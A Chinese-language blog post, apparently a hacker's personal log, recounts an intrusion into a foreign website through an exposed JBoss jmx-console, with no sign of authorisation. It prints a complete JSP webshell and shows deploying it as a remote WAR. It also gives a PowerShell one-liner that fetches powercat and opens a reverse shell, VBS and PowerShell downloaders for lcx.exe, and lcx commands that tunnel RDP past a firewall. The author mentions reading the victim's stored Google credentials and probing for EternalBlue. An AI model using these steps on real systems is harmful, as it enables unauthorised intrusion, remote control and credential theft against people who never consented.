jboss漏洞getshell

前言

最近感觉有点无聊,搞了国外一些站,学到一些知识,主要了解了windos中一些命令.

1.信息收集

首先访问该站,把目录扫描起,然后nmap扫描看看,然后找该站是否存在什么漏洞。然而并没有,扫描目录发现 8080/jmx-console/,发现是jboss的站,百度到jboss可以部署war包getshell,访问http://xxxx:8080//jmx-console/

2.漏洞利用

全局搜索jboss.system,点击进入
jboss漏洞getshell_第1张图片
制作war包
把木马文件gg.jsp(我是一个直接执行命令代码)用压缩软件压缩为zip,然后更改后缀为war,然后将该war上传到互联网上能够访问的网
站上

//gg.jsp
<%@ page contentType="text/html;charset=big5" session="false" import="java.io.*" %>

<html>

<head>

<title></title>

<meta http-equiv="Content-Type" content="text/html; charset=big5">

</head>

<body>

<%

  Runtime runtime = Runtime.getRuntime();

  Process process =null;

  String line=null;

  InputStream is =null;

  InputStreamReader isr=null;

  BufferedReader br =null;

  String ip=request.getParameter("cmd");


  try

  {

    process =runtime.exec(ip);

    is = process.getInputStream();

    isr=new InputStreamReader(is);

    br =new BufferedReader(isr);

    out.println("
");

    while( (line = br.readLine()) != null )

    {

      out.println(line);

      out.flush();

    }

    out.println("
"
); is.close(); isr.close(); br.close(); } catch(IOException e ) { out.println(e); runtime.exit(1); } %> </body> </html>

(我这里就用python 简单创建个ftp服务)

python -m  SimpleHTTPServer 8589

在这里插入图片描述jboss漏洞getshell_第2张图片进入页面找到如下,填入远程的war文件地址
jboss漏洞getshell_第3张图片成功部署
jboss漏洞getshell_第4张图片访问shell文件
jboss漏洞getshell_第5张图片接下来就是反弹shell了涩,windows 自然使用powershell
命令如下

    powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p port -e cmd

在这里插入图片描述
一个cmd到手,接下来就是提权了
jboss漏洞getshell_第6张图片在shell中查看端口开放信息,3389和445都开放了
想到了永恒之蓝打一波,先看看打没打永恒之蓝的补丁,和看看系统信息
jboss漏洞getshell_第7张图片打了这么多补丁,有点虚,去网站上查哈永恒之蓝补丁编号
网址:https://micro8.gitbook.io/micro8/contents-1/1-10/1windows-ti-quan-kuai-su-cha-zhao-exp
发现该目标机器并没打补丁
jboss漏洞getshell_第8张图片
jboss漏洞getshell_第9张图片

看端口扫描结果,3389过滤了,445也过滤了,只有端口转发再打了
jboss漏洞getshell_第10张图片先在shell中查看有那些任务,看看有没杀毒软件,初看没有,但后来才发现了,居然有卡巴斯基
jboss漏洞getshell_第11张图片没事就到处浏览目录查看内容(发现google账号密码居然记录在txt文件中),发现任何目录都能浏览和看信息,就怀疑这个用户的权限,赶紧看了哈…居然是administrator 组的,那提权就不用了涩,但还是想3389连进去
jboss漏洞getshell_第12张图片打算用vbs下载一个lcx或者EarthWorm进行端口转发
vbs下载代码,一般下载在C:\Windows\Temp\目录下,可读可写

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://ip/lcxx/lcx.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\Windows\Temp\2.txt",2 >>download.vbs

powershell 下载代码

powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:7667/lcxx/lcx.exe','C:\Windows\Temp\2.txt')

lcx 命令

//被攻击机器
lcx -slave 自己外网ip  51 内网ip 3389
//攻击机器
lcx.exe  -listen 51 9090

由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口,

lcx -tran 53 目标主机ip 3389

当自己写进去了后,更名为exe执行的时候,被杀了,最后又看了下任务,才发现卡巴斯基,然后就一直被卡在这里

总结

虽然暂时没有成功,但从中还是学到许多渗透知识,也明白了实战能提高许多技术。不足就是知识不够,还需努力

你可能感兴趣的:(jboss漏洞getshell)